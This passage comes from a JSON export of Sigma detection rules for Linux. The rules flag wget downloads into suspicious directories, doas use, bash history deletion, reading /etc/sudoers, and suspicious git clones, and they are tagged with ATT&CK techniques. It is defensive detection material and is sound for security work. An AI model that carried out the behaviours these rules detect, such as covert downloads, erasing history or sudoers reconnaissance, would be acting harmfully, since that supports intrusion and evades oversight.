          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cf610c15-ed71-46e1-bdf8-2bd1a99de6c4",
      "value": "Download File To Potentially Suspicious Directory Via Wget"
    },
    {
      "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.",
      "meta": {
        "author": "Sittikorn S, Teoderick Contreras",
        "creation_date": "2022/01/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_doas_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://research.splunk.com/endpoint/linux_doas_tool_execution/",
          "https://www.makeuseof.com/how-to-install-and-use-doas/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "067d8238-7127-451c-a9ec-fa78045b618b",
      "value": "Linux Doas Tool Execution"
    },
    {
      "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_susp_history_delete.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/sleventyeleven/linuxprivchecker/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1565.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f",
      "value": "History File Deletion"
    },
    {
      "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_cat_sudoers.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/sleventyeleven/linuxprivchecker/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1592.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06",
      "value": "Cat Sudoers"
    },
    {
      "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_susp_git_clone.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
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